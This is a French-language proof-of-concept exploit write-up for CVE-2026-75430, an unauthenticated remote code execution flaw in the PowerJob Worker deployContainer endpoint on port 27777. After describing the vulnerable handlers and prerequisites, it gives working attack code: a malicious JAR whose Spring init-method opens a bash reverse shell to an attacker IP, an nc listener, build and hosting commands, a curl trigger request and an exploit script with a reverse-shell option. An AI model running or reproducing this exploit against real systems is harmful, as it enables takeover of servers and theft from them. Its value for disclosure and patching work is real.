
Preuve de concept d'exploitation pour CVE-2026-75430, permettant une exécution de code à distance non authentifiée sur PowerJob Worker via le chargement arbitraire de JAR à travers le point de terminaison deployContainer.
/worker/deployContainer (chargement arbitraire de JAR)Le Worker PowerJob expose le gestionnaire deployContainer sur son port de transport HTTP 27777 sans aucune authentification. Un attaquant soumet une URL arbitraire ; le Worker télécharge ce JAR et le charge via URLClassLoader + Spring ClassPathXmlApplicationContext, exécutant du code arbitraire pendant le init-method de Spring → RCE sur le Worker. Le docker-compose par défaut publie ce port sur l'hôte.
Condition préalable (déclaration honnête) : le Worker doit être en cours d'exécution (27777 à l'écoute). Dans la configuration par défaut, le Worker valide au démarrage que son application est enregistrée sur le serveur (/server/assert) ; si l'application n'est pas enregistrée, le Worker ne démarre pas et 27777 n'est pas à l'écoute (vérifié : le processus Java se termine avec le code 1). Par conséquent, un état strictement vierge de « docker-compose up sans configuration console » n'est pas directement exploitable. Cependant, le fonctionnement normal de PowerJob exige nécessairement que l'application soit enregistrée et que le Worker soit en ligne (sinon le système ne planifie aucun job), donc tout déploiement réellement utilisé satisfait intrinsèquement la condition préalable, après quoi l'exploit est sans identifiants. En revanche, la découverte connexe PJ-08 (serveur /friend/process) n'a pas une telle condition préalable — le serveur lie 10010 au démarrage sans condition.
powerjob-worker, déployé via l'image officielle powerjob-worker-samples)docker-compose.yml, protocole HTTP, port 27777 (PowerJobWorkerConfig.java:34)| Élément | Valeur |
|---|---|
| Point d'entrée | POST http://<worker>:27777/worker/deployContainer |
| Gestionnaire | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), sans authentification) |
| Téléchargement | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Chargement | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Corps de la requête ServerDeployContainerRequest (champs containerId/containerName/version/downloadURL).
WorkerActor fait entièrement confiance à downloadURL.OmsContainerFactory télécharge le JAR depuis une URL arbitraire et appelle immédiatement OmsJarContainer.init() : chargement URLClassLoader + refresh() du contexte Spring → le code malveillant s'exécute pendant l'initialisation de la classe/du Bean.Condition préalable : le Worker est en cours d'exécution et 27777 est à l'écoute (satisfaite par tout déploiement de production/démonstration ; si l'opérateur a suivi le flux officiel et créé l'application d'exemple, le Worker est en ligne). Pour la reproduction, le Worker peut être démarré avec --powerjob.worker.allow-lazy-connect-server=true pour ignorer la vérification d'enregistrement de l'application (non recommandé en production ; notez que ce commutateur n'affecte que la mise en ligne du Worker — il ne modifie pas l'absence d'authentification sur le port ouvert).
OmsJarContainer.init()) :
oms-worker-container.properties avec PACKAGE_NAME=com.evilcom/evil/Exploit.class — une classe exposant un init-method Spring (par ex. run()) qui exécute une commandeoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer au port Worker 27777 avec le corps {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attaquant>/evil.jar"}.OmsJarContainer.init() : OhMyClassLoader.load() charge la classe (n'exécute pas les initialiseurs statiques), puis ClassPathXmlApplicationContext.refresh() instancie le bean et invoque le init-method → exécution de commande arbitraire (avec les privilèges d'exécution du Worker).AbstractScriptProcessor.java:118-123 prend également en charge le téléchargement depuis une URL arbitraire → SSRF côté Worker.Aucun écho de sortie : le gestionnaire
deployContainerrenvoievoid, donc la réponse HTTP ne contient aucune sortie de commande (vérifié : corps vide). Pour l'exécution interactive de commandes, la technique principale est un shell inversé (voir Reproduction ci-dessous) ; la variante du fichier marqueur n'est qu'une vérification locale non interactive.
Environnement : JDK 21, powerjob-worker-samples-5.1.2.jar compilé depuis les sources, Worker à l'écoute sur 192.168.49.128:27777 (démarré avec --powerjob.worker.allow-lazy-connect-server=true pour ignorer l'enregistrement de l'application).
Principal — shell inversé (exécution interactive de commandes) :
Le Exploit.run() du JAR malveillant (init-method Spring) lance un shell inversé. Comme il n'y a aucun écho de sortie, c'est le moyen efficace d'obtenir une exécution interactive de commandes sur l'hôte du Worker.
# 1) L'attaquant écoute d'abord :
nc -lvnp 7878
# 2) Construction du JAR malveillant — Exploit.run() exécute un shell inversé bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # héberger evil.jar
# 3) Déclenchement (sans identifiants) :
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
Alternativement, utiliser le script pour vérifier : python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Point clé du PoC :
OhMyClassLoader.load()appelle uniquementloadClass(), qui n'exécute pas les initialiseurs statiques ; le point d'exécution réel est le init-method Spring invoqué parClassPathXmlApplicationContext.refresh(). Le JAR malveillant doit donc contenir le XML Spring et déclarerinit-method. Le shell inversé doit s'exécuter via/bin/bash -ccar/bin/sh(dash) ne parse pas/dev/tcp.